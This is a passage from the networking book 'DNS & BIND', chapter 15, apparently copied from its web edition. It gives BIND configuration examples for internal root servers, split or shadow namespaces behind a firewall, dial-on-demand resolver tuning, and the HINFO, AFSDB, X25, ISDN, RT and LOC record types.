                           86400  IN  NS  alien.fx.movie.edu.

Notice that we did include delegation for the 254.253.192.in-addr.arpa and 20.254.192.in-addr.arpa zones, even though they correspond to the fx.movie.edu zone. We didn't need to delegate to fx.movie.edu, because we'd already delegated to its parent. The movie.edu name servers delegate to fx.movie.edu, so by transitivity the roots delegate to fx.movie.edu. Since neither of the other in-addr.arpa zones is a parent of 254.253.192.in-addr.arpa or 20.254.192.in-addr.arpa, we needed to delegate both zones from the root. As we've covered earlier, we don't need to add address records for the three Special Effects name servers, bladerunner, outland, and alien, because a remote name server can already find their addresses by following delegation from movie.edu.

15.4.4.4 The db.root file

All that's left is to add an SOA record for the root zone and NS records for this internal root name server and any others:

.  IN  SOA  rainman.movie.edu.  hostmaster.movie.edu.  (
            1       ; serial
            86400   ; refresh
            3600    ; retry
            608400  ; expire
            86400 ) ; minimum

   IN  NS  rainman.movie.edu.
   IN  NS  awakenings.movie.edu.

rainman.movie.edu.    86400  IN  A  192.249.249.254
awakenings.movie.edu. 86400  IN  A  192.253.253.254

rainman.movie.edu and awakenings.movie.edu are the hosts running internal root name servers. We shouldn't run an internal root on a bastion host, because if a name server on the Internet accidentally queries it for data it's not authoritative for, the internal root will respond with its list of roots - all internal!

So the whole db.root file (by convention, we call the root zone's data file db.root) looks like this:

.  IN  SOA  rainman.movie.edu.  hostmaster.movie.edu.  (
            1       ; serial
            86400   ; refresh
            3600    ; retry
            608400  ; expire
            86400 ) ; minimum

   IN  NS  rainman.movie.edu.
   IN  NS  awakenings.movie.edu.

rainman.movie.edu.    604800  IN  A  192.249.249.254
awakenings.movie.edu. 604800  IN  A  192.253.253.254

movie.edu.  86400  IN  NS  terminator.movie.edu.
            86400  IN  NS  wormhole.movie.edu.
            86400  IN  NS  zardoz.movie.edu.

terminator.movie.edu.  86400  IN  A  192.249.249.3
wormhole.movie.edu.    86400  IN  A  192.249.249.1
                       86400  IN  A  192.253.253.1
zardoz.movie.edu.      86400  IN  A  192.249.249.9
                       86400  IN  A  192.253.253.9

249.249.192.in-addr.arpa.  86400  IN  NS  terminator.movie.edu.
                           86400  IN  NS  wormhole.movie.edu.
                           86400  IN  NS  zardoz.movie.edu.
253.253.192.in-addr.arpa.  86400  IN  NS  terminator.movie.edu.
                           86400  IN  NS  wormhole.movie.edu.
                           86400  IN  NS  zardoz.movie.edu.
254.253.192.in-addr.arpa.  86400  IN  NS  bladerunner.fx.movie.edu.
                           86400  IN  NS  outland.fx.movie.edu.
                           86400  IN  NS  alien.fx.movie.edu.
20.254.192.in-addr.arpa.   86400  IN  NS  bladerunner.fx.movie.edu.
                           86400  IN  NS  outland.fx.movie.edu.
                           86400  IN  NS  alien.fx.movie.edu.

The named.conf file on both of the internal root name servers, rainman and awakenings, contains the lines:

zone "." {
                type master;
                file "db.root";
};

Or, for a BIND 4 server's named.boot file:

primary    .    db.root

This replaces a zone statement of type hint or a cache directive - a root name server doesn't need a cache file to tell it where the other roots are; it can find that in db.root. Did we really mean that each root name server is a primary for the root domain? Actually, that depends on the version of BIND you're running. BIND versions after 4.9 will let you declare a server a slave for the root domain, but BIND 4.8.3 and earlier insist that all root name servers load db.root as primaries.

If you don't have a lot of idle hosts sitting around that you can turn into internal roots, don't despair! Any internal name server (i.e., one that's not running on a bastion host or outside your firewall) can serve double duty as an internal root and as an authoritative name server for whatever other zones you need it to load. Remember, a single name server can be authoritative for many, many zones, including the root.

15.4.4.5 Configuring other internal name servers

Once you've set up internal root name servers, configure all your name servers on hosts anywhere on your internal network to use them. Any name server running on a host without direct Internet connectivity should list the internal roots in its hints file:

; Internal db.cache file, for movie.edu hosts without direct
; Internet connectivity
;
; Don't use this cache file on a host with Internet connectivity!
;

.  99999999  IN  NS  rainman.movie.edu.
   99999999  IN  NS  awakenings.movie.edu.

rainman.movie.edu.     99999999  IN  A  192.249.249.254
awakenings.movie.edu.  99999999  IN  A  192.253.253.254

Name servers running on hosts using this cache file will be able to resolve names in movie.edu and in Movie U.'s in-addr.arpa domains, but not outside of those domains.

15.4.4.6 How internal name servers use internal roots

To tie together how this whole scheme works, let's go through an example of name resolution on an internal caching-only name server using these internal root name servers. First, the internal name server receives a query for a domain name in movie.edu, say the address of gump.fx.movie.edu. If the internal name server doesn't have any "better" information cached, it starts by querying an internal root name server. If it has communicated with the internal roots before, it has a round-trip time associated with each, which tells it which of the internal roots is responding to it most quickly. It sends a nonrecursive query to that internal root for gump.fx.movie.edu's address. The internal root answers with a referral to the movie.edu name servers on terminator.movie.edu, wormhole.movie.edu, and zardoz.movie.edu. The caching-only name server follows up by sending another nonrecursive query to one of the movie.edu name servers for gump's address. The movie.edu name server responds with a referral to the fx.movie.edu name servers. The caching-only name server sends the same nonrecursive query for gump's address to one of the fx.movie.edu name servers, and finally receives a response.

Contrast this with the way a forwarding setup would have worked. Let's imagine that instead of using internal root name servers, our caching-only name server were configured to forward queries to first terminator and then wormhole. In that case, the caching-only name server would have checked its cache for the address of gump.fx.movie.edu and, not finding it, would have forwarded the query to terminator. terminator would have queried an fx.movie.edu name server on the caching-only name server's behalf and returned the answer. Should the caching-only name server need to look up another name in fx.movie.edu, it would still ask the forwarder, even though the forwarder's response to the query for gump.fx.movie.edu's address may have contained the names and addresses of the fx.movie.edu name servers.

15.4.4.7 Mail from internal hosts to the Internet

But wait! That's not all internal roots will do for you. We talked about getting mail to the Internet without changing sendmail's configuration all over the network.

Wildcard records are the key to getting mail to work - specifically, wildcard MX records. Let's say we'd like mail to the Internet to be forwarded through postmanrings2x.movie.edu, the Movie U. bastion host, which has direct Internet connectivity. Then adding these records to db.root:

*        IN    MX    5 postmanrings2x.movie.edu.
*.edu.   IN    MX    10 postmanrings2x.movie.edu.

will get the job done. We need the *.edu MX record in addition to the * record because of the DNS wildcard production rules we described in the wildcards section in Chapter 10. Since there are explicit data for movie.edu in the zone, the first wildcard won't match movie.edu or any other subdomains of edu. We need another, explicit wildcard record for edu to match these domains.

Now mailers on our internal movie.edu hosts will send mail addressed to Internet domains to postmanrings2x for forwarding. For example, mail addressed to nic.ddn.mil will match the first wildcard MX record:

% nslookup -type=mx nic.ddn.mil.  - Matches the MX record for *
Server:  rainman.movie.edu
Address:  192.249.249.19

nic.ddn.mil
     preference = 5, mail exchanger = postmanrings2x.movie.edu
postmanrings2x.movie.edu    internet address = 192.249.249.20

while mail addressed to vangogh.cs.berkeley.edu will match the second MX record:

% nslookup -type=mx vangogh.cs.berkeley.edu.  - Matches the MX record for *.edu
Server:  rainman.movie.edu
Address:  192.249.249.19

vangogh.cs.berkeley.edu
     preference = 10, mail exchanger = postmanrings2x.movie.edu
postmanrings2x.movie.edu    internet address = 192.249.249.20

Once the mail reaches postmanrings2x, our bastion host, postmanrings2x's mailer will look up the MX records for these addresses itself. Since postmanrings2x will resolve the name using the Internet's name space instead of the internal name space, it will find the real MX records for the destination domain and deliver the mail. No changes to sendmail's configuration are necessary.

15.4.4.8 Mail to specific Internet domains

Another nice perk of this internal root scheme is that it gives you the ability to forward mail addressed to certain Internet domains through particular bastion hosts, if you have more than one. We can choose, for example, to send all mail addressed to uk domain recipients to our bastion host in London first, and then out onto the Internet. This can be very useful if our internal network's connectivity or reliability is better than the U.K.'s section of the Internet.

Movie U. has a private network connection to our sister university in London near Pinewood Studios. As it turns out, sending mail across our private link, and then through the Pinewood host to correspondents in the U.K., is more reliable than sending it directly across the Internet. So we add the following wildcard records to db.root:

; holygrail is at the other end of the U.K. Internet link
*.uk.    IN    MX    10 holygrail.movie.ac.uk.
holygrail.movie.ac.uk.    IN   A    192.168.76.4

Now, mail addressed to users in subdomains of uk will be forwarded to the host holygrail.movie.ac.uk at our sister university, which presumably has facilities to forward that mail to other domains in the U.K.

15.4.4.9 The trouble with internal roots

Unfortunately, just as forwarding has its problems, internal roots have their limitations. Chief among these is the fact that your internal hosts can't see the Internet namespace. On some networks, this isn't an issue, because most internal hosts don't have any direct Internet connectivity. On others, however, the Internet firewall or other software may require that all internal hosts have the ability to resolve names in the Internet's namespace. For these networks, an internal root architecture won't work.

15.4.5 Views

The solution to this problem may be views, which the ISC hopes to introduce to BIND sometime soon in the version 8 release stream.[2] Views would allow you to specify when during resolution a name server tries its forwarders and under what conditions.[3]

[2] Views haven't been implemented yet, but we were granted a peek at how they may work and are documenting them in the hope that they'll beat this book to production.

[3] Todd Aven's noforward patch for BIND 4.9 was a precursor to this functionality. It's still available from ftp://ftp.isc.org/isc/bind/src/4.9.3/contrib/noforward.tar.gz.

By default, a BIND name server configured to use forwarders consults them before attempting normal resolution, or instead of normal iterative resolution. Also, when a BIND name server is configured to use forwarders, it will consult those forwarders for queries about any domain name. A view lets you specify whose queries are forwarded and what those queries have to be about (which domain names) in order to be forwarded.

The syntax of the view statement might look something like this:

view viewname {
                [ interface ip_list; ]
                [ domain domain_list; ]
                [ client ip_list; ]
                forward on reasons [ to ip_list ];
 };

Here's how the statement works: domain specifies the domains to which the view applies. domain takes a list of domain names as an argument. The client substatement determines which addresses this view applies to. client takes an address match list as an argument (as described in Chapter 10). interface specifies the interfaces on the local host to which the view applies. If the server receives a query on one of the interfaces specified, from a client whose address matches an address in the client substatement, and about a domain name specified in domain, the view applies. The default for interface is the built-in address match list localhost, the default for client is any, and the default for domain is ".", the root, meaning that by default, the view applies to queries from any IP address looking up any name.

forward would replace and extend the forwarders substatement of the options statement. It lists the IP addresses of the forwarders to use for queries that match the specifications of this view. The forwarders are listed in the order in which you want them queried. What's new is the reasons clause. reasons might include no-domain and no-answer. These are the conditions under which the forwarders are used:

  • no-domain corresponds to an NXDOMAIN (no such domain) response.

  • no-answer corresponds to a NOERROR/no records response (that is, the domain name exists but the record type doesn't).

If we were to implement views in our internal root environment at Movie U., here's how our internal name server's view statements might look:

view {
    client { 192.249.249/24; 192.253.253/24; 192.253.254/24 };
    domain { "!movie.edu"; "!249.249.192.in-addr.arpa";
        "!253.253.192.in-addr.arpa"; "!254.253.192.in-addr.arpa"; };
    forward on no-domain to { 192.249.249.3; 192.249.249.1; };
};

This tells our internal name servers (all except terminator and wormhole, which can resolve Internet domain names directly) to forward queries from our internal IP addresses and about domain names that are not (note the negation operator) in movie.edu or our in-addr.arpa subdomains to terminator and wormhole, in that order.

Please note that we've described just one possible implementation of views. The actual implementation the ISC decides upon may differ, both in features and in syntax.

15.4.6 A Shadow Namespace

Many organizations would like to advertise different zone data to the Internet than they do internally. In most cases, much of the internal zone data is irrelevant to the Internet because of the organization's Internet firewall. The firewall may not allow direct access to most internal hosts, and may also translate internal, unregistered IP addresses into a range of IP addresses registered to the organization. Therefore, the organization may need to trim out irrelevant information from the external view of the zone, or change internal addresses to their external equivalents.

Unfortunately, BIND doesn't support automatic filtering and translation of zone data. Consequently, many organizations manually create what have become known as "split namespaces." In a split namespace, the real namespace is available only internally, while a pared-down, translated version of it, called "the shadow namespace," is visible to the Internet.

The shadow namespace contains the name-to-address and address-to-name mappings of only those hosts that are accessible from the Internet, through the firewall. The addresses advertised may be the translated equivalents of real internal addresses. The shadow namespace may also contain one or more MX records to direct email from the Internet through the firewall to a mail server.

Since Movie U. has an Internet firewall that greatly limits access from the Internet to the internal network, we elected to create a shadow namespace. For movie.edu, the only information we need to give out is about the zone (an SOA and a few NS records), the bastion host (postmanrings2x), and the new external name server, ns.movie.edu, which also functions as an external web server, www.movie.edu. The address of the external interface on the bastion host is 200.1.4.2, while the address of the name/web server is 200.1.4.3. The shadow movie.edu zone data file looks like this:

@    IN    SOA    ns.movie.edu.    hostmaster.movie.edu. (
                           1       ; Serial
                           86400   ; Refresh
                           3600    ; Retry
                           608400  ; Expire
                           86400 ) ; Default TTL

    IN    NS    ns.movie.edu.
    IN    NS    ns.isp.net.        ; our ISP's name server

    IN    A     200.1.4.3
    IN    MX    10 postmanrings2x.movie.edu.
    IN    MX    100 mail.isp.net.

www             IN    CNAME movie.edu.

postmanrings2x  IN    A     200.1.4.2
                IN    MX    10 postmanrings2x.movie.edu.
                IN    MX    100 mail.isp.net.

;postmanrings2x handles mail addressed to ns
ns              IN    A     200.1.4.3
                IN    MX    10 postmanrings2x.movie.edu.
                IN    MX    100 mail.isp.net.

*               IN    MX    10 postmanrings2x.movie.edu.
                IN    MX    100 mail.isp.net.

Note that there's no mention of any of the subdomains of movie.edu, including any delegation to the servers for those subdomains. The information simply isn't necessary, since there's nothing in any of the subdomains that you can get to from the Internet, and inbound mail addressed to hosts in the subdomains is caught by the wildcard.

The db.200.1.4 file, which we need to reverse map the two Movie U. IP addresses that hosts on the Internet might see, looks like this:

@    IN    SOA    ns.movie.edu.    hostmaster.movie.edu. (
                           1       ; Serial
                           86400   ; Refresh
                           3600    ; Retry
                           608400  ; Expire
                           86400 ) ; Default TTL

    IN    NS    ns.movie.edu.
    IN    NS    ns.isp.net.

2    IN    PTR    postmanrings2x.movie.edu.
3    IN    PTR    ns.movie.edu.

One precaution that we need to take is to make sure that the resolver on our bastion host isn't configured to use the server on ns.movie.edu. Since that server can't see the real movie.edu, using it would render postmanrings2x unable to map internal names to addresses or addresses to names.

15.4.6.1 The bastion host

The bastion host is a special case in a split namespace. The bastion host has a foot in each environment: one network interface connects it to the Internet, and another connects it to the internal network. Now that we have split our name space in two, how can our bastion host see both the Internet name space and our real internal name space? If we configure it with the Internet root name servers in its hints file, it will follow delegation from the Internet's edu name servers to an external movie.edu name server with shadow zone data. It would be blind to our internal name space, which it needs to see to log connections, deliver inbound mail, and more. On the other hand, if we configure it with our internal roots, then it won't see the Internet's name space, which it clearly needs to do in order to function as a bastion host. What to do?

If we have internal name servers that support conditional forwarding, we can simply configure the bastion host's resolver to query those servers, since they can already see both the internal and Internet namespaces. If we use forwarding internally, depending on the type of firewall we're running, we may also need to run a name server on the bastion host itself. If the firewall won't pass DNS traffic, we'll need to run at least a caching-only name server, configured with the Internet roots, on the bastion host, so that our internal name servers will have somewhere to forward their unresolved queries.

Without conditional forwarding, the simplest solution is to run a name server on the bastion host (if you aren't already doing so). The name server must be configured as a slave for movie.edu and any in-addr.arpa subdomains in which it needs to resolve addresses. This way, if it receives a query for a name in movie.edu, it'll use its local authoritative data to resolve the name. If the name is in a subdomain of movie.edu, it'll follow NS records in the zone data to query an internal name server for the name. Therefore, it doesn't need to be configured as a slave for any movie.edu subdomains, such as fx.movie.edu, just the "top" domain (see Figure 15.6).

Figure 15.6: A split DNS solution

The named.conf file on our bastion host looks like this:

options {
                directory "/var/named";
};

zone "movie.edu" {
                type slave;
                file "db.movie";
                masters { 192.249.249.3; };
};

zone "249.249.192.in-addr.arpa" {
                type slave;
                file "db.192.249.249";
                masters { 192.249.249.3; };
};

zone "253.253.192.in-addr.arpa" {
                type slave;
                file "db.192.253.253.in-addr.arpa";
                masters { 192.249.249.3; };
};

zone "254.253.192.in-addr.arpa" {
                type slave;
                file "db.192.253.254";
                masters { 192.253.254.2; };
};

zone "20.254.192.in-addr.arpa" {
                type slave;
                file "db.192.254.20";
                masters { 192.253.254.2; };
};

zone "." {
                type hint;
                file "db.cache";
};

An equivalent named.boot file would look like this:

directory    /var/named
secondary    movie.edu    192.249.249.3    db.movie
secondary    249.249.192.in-addr.arpa    192.249.249.3    db.192.249.249
secondary    253.253.192.in-addr.arpa    192.249.249.3    db.192.253.253
secondary    254.253.192.in-addr.arpa    192.253.254.2    db.192.253.254
secondary    20.254.192.in-addr.arpa     192.253.254.2    db.192.254.20
cache    .    db.cache    ; lists Internet roots

15.4.6.2 Protecting zone data on the bastion host

Unfortunately, loading these zones on the bastion host also exposes them to the possibility of disclosure on the Internet, which we were trying to avoid by splitting the name space. But as long as we're running BIND 4.9 or better, we can protect the zone data using the secure_zone TXT record or the allow-query substatement. With allow-query, we can place a global access list on our zone data. Here's the new options statement from our named.conf file:

options {
                directory "/var/named";
                allow-query { 127/8; 192.249.249/24; 192.253.253/24;
                                192.253.254/24; 192.254.20/24; };
};

With BIND 4.9's secure_zone, we can turn off all external access to our zone data by including these TXT records in each db file:

secure_zone     IN    TXT    "192.249.249.0:255.255.255.0"
                IN    TXT    "192.253.253.0:255.255.255.0"
                IN    TXT    "192.253.254.0:255.255.255.0"
                IN    TXT    "192.254.20.0:255.255.255.0"
                IN    TXT    "127.0.0.1:H"

Don't forget to include the loopback address in the list, or the bastion host's own resolver may not get answers from the name server!

Previous: 15.3 A Limitation of MX Records | DNS & BIND | Next: 15.5 Dialup Connections
15.3 A Limitation of MX Records | Book Index | 15.5 Dialup Connections


[Chapter 15] 15.5 Dialup Connections

DNS & BIND

DNS & BINDSearch this book
Previous: 15.4 DNS and Internet Firewalls Chapter 15
Miscellaneous 		Next: 15.6 Network Names and Numbers

15.5 Dialup Connections

Another relatively recent development in networking that presents a challenge to DNS is the dialup Internet connection. When the Internet was young, and DNS was born, there was no such thing as a dialup connection. With the enormous explosion in the Internet's popularity, and the propagation of Internet service providers who offer dialup Internet connectivity to the masses, a whole new breed of problems with name service has been introduced.

We'll separate dialup connections into two categories: simple dialup, by which we mean a single computer that connects to the Internet occasionally, when a user manually initiates a connection, and dial-on-demand, which means one or more computers that connect to the Internet automatically whenever they generate traffic bound for the Internet. Often, the device that makes this dial-on-demand connectivity possible is a small dialup router with an analog modem or ISDN interface, like an Ascend Pipeline 25.

15.5.1 Simple Dialup

The easiest way to deal with simple dialup is to configure your dialup computer's resolver to use a name server provided by your Internet service provider (ISP). Most ISPs run name servers for their subscribers' use. If you're not sure whether your ISP provides name servers for your use, or if you don't know what their IP addresses are, check their web site, send them email, or give them a call.

Some operating systems, like Windows 95 and NT, will let you define a set of name servers for a particular dialup provider. So, for example, you can configure one set of name servers to use when you dial up Netcom, and another to use when you dial up your office. Unfortunately, defining name servers for your LAN connection under Windows 95 currently overrides all your precious dialup settings. See Chapter 6, Configuring Hosts, for details.

This configuration is usually adequate for most casual dialup users. Name resolution will fail unless the dialup connection is up, but that's not likely to be a problem, since there's no use for Internet name service without Internet connectivity. If you have special needs that aren't addressed by this configuration, take a look at the recommendations in the dial-on-demand section.

15.5.2 Dial-on-Demand

A more sophisticated dialup solution is dial-on-demand. Dial-on-demand Internet connections often use dedicated hardware, like a small dialup router, to provide connectivity whenever it's needed. If you initiate a connection to the Internet from the "remote" end of a dial-on-demand router, bingo, it dials up another router on the Internet and routes your packets across. If the connection is idle for more than a specified amount of time, the router drops the connection.

The challenge with DNS is to keep a local name server from continuously bringing the demand dial connection up and down like a yo-yo. This could be costly for you, since you sometimes pay a premium for connection setup with technologies like ISDN.

The most important strategy for minimizing this off-net traffic is to configure your resolvers to use a minimal search list. Default search lists with resolvers based on BIND 4.8.3 or earlier search the ancestors of your local domain, which can cause unnecessary remote traffic. For instance, say your local domain is tinyoffice.majorcorp.com, and you have a dial-on-demand connection to Majorcorp's enterprise network. On your older (pre-4.9) hosts, your default search list is:

tinyoffice.majorcorp.com
majorcorp.com

A user typing telnet foo.tinyoffice.majorcorp.com to log in to the workstation next to him will inadvertently cause lookups of:

foo.tinyoffice.majorcorp.com.tinyoffice.majorcorp.com and
foo.tinyoffice.majorcorp.com.majorcorp.com

before the correct domain name, foo.tinyoffice.majorcorp.com, is looked up. Since your local name server is probably authoritative for tinyoffice.majorcorp.com, it can tell that the first domain name, foo.tinyoffice.majorcorp.com.tinyoffice.majorcorp.com, is bogus. (It ends in com.tinyoffice.majorcorp.com, so it would require the existence of a com subdomain of your local domain, and there isn't one.) But it can't tell about the second domain name without talking to a majorcorp.com name server first. If there isn't one locally, it'll have to bring up that dial-on-demand connection.

The easiest way to prevent these unnecessary queries is to trim the parent domain out of your search list explicitly, using the search directive. Or, if you can, upgrade your resolver to BIND 4.9 or later, which will check the domain name as is first if it has at least ndots dots in it, and which doesn't put any ancestor domains into the search list by default.

If your name server continues to bring up the link, try turning on query logging (with options query-log on a 4.9 name server, or ndc query with a BIND 4.9 or 8 name server, or by turning on debugging on an older name server) and look for the domain names that bring up the link. If many of them are in your parent zone, you might consider configuring your local name server as a slave for your parent zone. At least that way you'll only bring up the link at most once per refresh interval to resolve names in your parent zone. The same logic could be applied to nearly any zone your local name server queries often.

Previous: 15.4 DNS and Internet Firewalls | DNS & BIND | Next: 15.6 Network Names and Numbers
15.4 DNS and Internet Firewalls | Book Index | 15.6 Network Names and Numbers


[Chapter 15] 15.6 Network Names and Numbers

DNS & BIND

DNS & BINDSearch this book
Previous: 15.5 Dialup Connections Chapter 15
Miscellaneous 		Next: 15.7 Additional Resource Records

15.6 Network Names and Numbers

The original DNS definitions didn't provide the ability to look up network names based on a network number - a feature that was provided by the original HOSTS.TXT file. More recently, a procedure for storing network names has been defined; this procedure also works for subnets and subnet masks, so it goes significantly beyond HOSTS.TXT. Moreover, it doesn't require any modification to the DNS server software at all; it's based entirely on the clever use of pointer and address records.

If you remember, to map an IP address to a name in DNS, you reverse the IP address, append in-addr.arpa, and look up PTR data. This same technique is used to map a network number to a network name; for example, to map network 15.0.0.0 to "HP Internet." To look up the network number, include the trailing zeros to make it four bytes, and look up PTR data just as you did with a host's IP address. For example, to find the network name for the old ARPAnet, network 10.0.0.0, look up PTR data for 0.0.0.10.in-addr.arpa. You'd get back an answer like ARPAnet.ARPA.

If the ARPANET were subnetted, you'd also find an address record at 0.0.0.10.in-addr.arpa. The address would be the subnet mask, 255.255.0.0, for instance. If you were interested in the subnet name instead of the network name, you'd apply the mask to the IP address and look up the subnet number.

This technique allows you to map the network number to a name. To provide a complete solution, there must be a way to map a network name to its network number. This, again, is accomplished with PTR records. The network name has PTR data that point to the network number (reversed with in-addr.arpa appended).

Let's see what the data might look like in HP's zone data files (the HP Internet has network number 15.0.0.0), and step through mapping a network number to a network name.

Partial contents of the file db.hp:

;
; Map HP's network name to 15.0.0.0.
;
hp-net.hp.com.            IN  PTR 0.0.0.15.in-addr.arpa.

Partial contents of the file db.corp:

;
; Map corp's subnet name to 15.1.0.0.
;
corp-subnet.corp.hp.com.  IN  PTR 0.0.1.15.in-addr.arpa.

Partial contents of the file db.15:

;
; Map 15.0.0.0 to hp-net.hp.com.
; HP's subnet mask is 255.255.248.0.
;
0.0.0.15.in-addr.arpa.    IN  PTR hp-net.hp.com.
                          IN  A   255.255.248.0

Partial contents of the file db.15.1:

;
; Map the 15.1.0.0 back to its subnet name.
;
0.0.1.15.in-addr.arpa.    IN  PTR corp-subnet.corp.hp.com.

Here's the procedure to look up the subnet name for the IP address 15.1.0.1:

  1. Apply the default network mask for the address's class. Address 15.1.0.1 is a class A address, so the mask is 255.0.0.0. Applying the mask to the IP address makes the network number 15.

  2. Send a query (type=a or type=any) for 0.0.0.15.in-addr.arpa.

  3. The query response contains address data. Since there is address data at 0.0.0.15.in- addr.arpa (the subnet mask-255.255.248.0), apply the subnet mask to the IP address. This yields 15.1.0.0.

  4. Send a query (type=a or type=any) for 0.0.1.15.in-addr.arpa.

  5. The query response does not contain address data, so 15.1.0.0 is not further subnetted.

  6. Send a PTR query for 0.0.1.15.in-addr.arpa.

  7. The query response contains the network name for 15.1.0.1: corp- subnet.corp.hp.com.

In addition to mapping between network names and numbers, you can also list all the networks for your domain with PTR records:

movie.edu.  IN  PTR  0.249.249.192.in-addr.arpa.
            IN  PTR  0.253.253.192.in-addr.arpa.

Now for the bad news: despite the fact that RFC 1101 contains everything you need to know to set this up, there's no software we know of (yet) that actually uses this type of network name encoding, and very few administrators go to the trouble of adding this information. Until software actually makes use of DNS-encoded network names, about the only reason for setting this up is to show off. But that's a good enough reason for many of us.

Previous: 15.5 Dialup Connections | DNS & BIND | Next: 15.7 Additional Resource Records
15.5 Dialup Connections | Book Index | 15.7 Additional Resource Records


[Chapter 15] 15.7 Additional Resource Records

DNS & BIND

DNS & BINDSearch this book
Previous: 15.6 Network Names and Numbers Chapter 15
Miscellaneous 		Next: 15.8 DNS Versus X.500

15.7 Additional Resource Records

There are a couple of resource records that we haven't covered yet in this book. The first of these has been around since the beginning, HINFO, but hasn't been widely used. The others were defined in RFC 1183 and several successive RFCs. Most are experimental, but some are on the standards track and are coming into more prevalent use. We'll describe them here to give you a little head start in getting used to them.

15.7.1 Host Information

HINFO stands for Host INFOrmation. The data are a pair of strings identifying the host's hardware type and operating system. The strings should come from the MACHINE NAMES and OPERATING SYSTEM NAMES listed in the "Assigned Numbers" RFC (currently RFC 1700), but this requirement is not enforced; you can use your own abbreviations. The RFC isn't at all comprehensive, so it is quite possible you won't find your system in the list anyway. Originally, host information records were designed to let services like FTP determine how to interact with the remote system. This would have made it possible to negotiate data type transformations automatically. Unfortunately, this didn't happen - few sites supply accurate HINFO values for all their systems. Some network administrators use HINFO records to help them keep track of the machine types, instead of recording the machine types in a database or a notebook. Here are two examples of HINFO records; note that the hardware type or operating system must be surrounded with quotes if it includes any whitespace:

;
; These machine names and system names did not come from RFC 1340
;
wormhole  IN  HINFO  ACME-HW  ACME-GW
cujo      IN  HINFO  "Watch Dog Hardware"  "Rabid OS"

As we pointed out, HINFO records are a security risk - by providing easily accessible information about a system, you are making it easier for a hacker to break in.

15.7.2 AFSDB

AFSDB has a syntax like that of the MX record, and semantics a bit like that of the NS record. An AFSDB record gives either the location of an AFS cell database server or of a DCE cell's authenticated name server. The type of server the record points to, and the name of the host running the server, are contained in the record-specific data portion of the record.

So what's an AFS cell database server? Or AFS, for that matter? AFS originally stood for the Andrew File System, designed by the good folks at Carnegie-Mellon University as part of the Andrew Project. (It's now a registered trademark of Transarc Corporation, which sells AFS as a product.) AFS is a network filesystem, like NFS, but one that handles the latency of wide area networks much better than NFS does and provides local caching of files to enhance performance. An AFS cell database server runs the process responsible for tracking the location of filesets (groups of files) on various AFS fileservers within a cell (a logical group of hosts). So being able to find the AFS cell database server is the key to finding any file in the cell.

And what's an authenticated name server? It holds location information about all sorts of services available within a DCE cell. A DCE cell? That's a logical group of hosts that share services offered by the Open Group's Distributed Computing Environment (DCE).

And now, back to our story. To access another cell's AFS or DCE services across a network, you must first find out where that cell's cell database servers or authenticated name servers are. Hence the new record type. The domain name the record is attached to gives the name of the cell the server knows about. Cells are often named after DNS domains, so this usually doesn't look at all odd.

As we said, the AFSDB record's syntax is like the MX record's syntax. In place of the preference value, you specify the number 1 for an AFS cell database server or 2 for a DCE authenticated name server.

In place of the mail exchanger host, you specify the name of the host running the server. Simple!

Say an fx.movie.edu systems administrator sets up a DCE cell (which includes AFS services) because she wants to experiment with distributed processing to speed up graphics rendering. She runs both an AFS cell database server and a DCE name server on bladerunner.fx.movie.edu, another cell database server on empire, and another DCE name server on aliens. She should set up the AFSDB records as follows:

; Our DCE cell is called fx.movie.edu, same as the domain
fx.movie.edu.  IN  AFSDB  1 bladerunner.fx.movie.edu.
               IN  AFSDB  2 bladerunner.fx.movie.edu.
               IN  AFSDB  1 empire.fx.movie.edu.
               IN  AFSDB  2 aliens.fx.movie.edu.

15.7.3 X25, ISDN, and RT

These three record types were created specifically in support of research on next-generation internets. Two of the records, X25 and ISDN, are simply address records specific to X.25 and ISDN networks, respectively. Both take arguments (record-specific data) appropriate to the type of network. The X25 record type uses an X.121 address (X.121 is the ITU-T recommendation that specifies the format of addresses used in X.25 networks). The ISDN record type uses an ISDN address.

ISDN stands for Integrated Services Digital Network. Telephone companies around the world have proposed using ISDN protocols to allow their telephone networks to carry both voice and data, creating an integrated network. Although ISDN's availability is spotty throughout the U.S., it has been widely adopted in some international markets. Since ISDN uses the telephone companies' networks, an ISDN address is just a phone number, and in fact consists of a country code, followed by an area code or city code, then by a local phone number. Sometimes there are a few extra digits you wouldn't see in a phone number at the end, called a subaddress. The subaddress is specified in a separate field in the record-specific data.

Examples of the X25 and ISDN record types are:

relay.pink.com.  IN  X25  31105060845

delay.hp.com.    IN  ISDN  141555514539488
hep.hp.com.      IN  ISDN  141555514539488 004

These records are intended for use in conjunction with the Route Through (RT) record type. RT is syntactically and semantically similar to the MX record type: it specifies an intermediate host that will route packets (instead of mail) to a destination host. So now, instead of only being able to route mail to a host that isn't directly connected to the Internet, you can route any kind of IP packet to that host by using another host as a forwarder. The packet could be part of a telnet or ftp session, or perhaps even a DNS query!

Like MX, RT includes a preference value, which indicates how desirable delivery to a particular host is. For example, the records:

housesitter.movie.edu.  IN  RT  10 relay.pink.com.
                        IN  RT  20 delay.hp.com.

instruct hosts to route packets bound for housesitter through relay.pink.com (the first choice) or through delay.hp.com (the second choice).

The way RT works with X25 and ISDN (and even A) records is like this:

  1. Internet host A wants to send a packet to host B, which is not connected to the Internet.

  2. Host A looks up host B's RT records. This search also returns all address records (A, X25, and ISDN) for each intermediate host.

  3. Host A sorts the list of intermediate hosts and looks for its own domain name. If it finds it, it removes it and all intermediate hosts at higher preference values. This is analogous to sendmail's "paring down" a list of mail exchangers.

  4. Host A examines the address record(s) for the most preferred intermediate host that remains. If host A is attached to a network that corresponds to the type of address record indicated, it uses that network to send the packet to the intermediate host. For example, if host A were trying to send a packet through relay.pink.com, it would need connectivity to an X.25 network.

  5. If host A lacks appropriate connectivity, it tries the next intermediate host specified by the RT records. For example, if host A lacked X.25 connectivity, it might fall back to delivering via ISDN to delay.hp.com.

This process continues until the packet is routed to the most preferred intermediate host. The most preferred intermediate host may then deliver the packet directly to the destination host's address (which may be A, X25, or ISDN).

15.7.4 Location

RFC 1876 defines an experimental record type, LOC, that allows domain administrators to encode the location of their computers, subnets and networks. In this case, location means latitude, longitude and altitude. Future applications could use this information to produce network maps, assess routing efficiency, and more.

In its basic form, the LOC record takes latitude, longitude and altitude (in that order) as its record-specific data. Latitude and longitude are expressed in the format:

<degrees> [minutes [seconds.<fractional seconds>]] (N|S|E|W)

Altitude is expressed in meters.

If you're wondering how in the world you're going to get that data, check out "RFC 1876 Resources," at http://www.ckdhr.com/dns-loc/. This site, created by Christopher Davis, one of the authors of RFC 1876, is an indispensable collection of information and useful links and utilities for people creating LOC records.

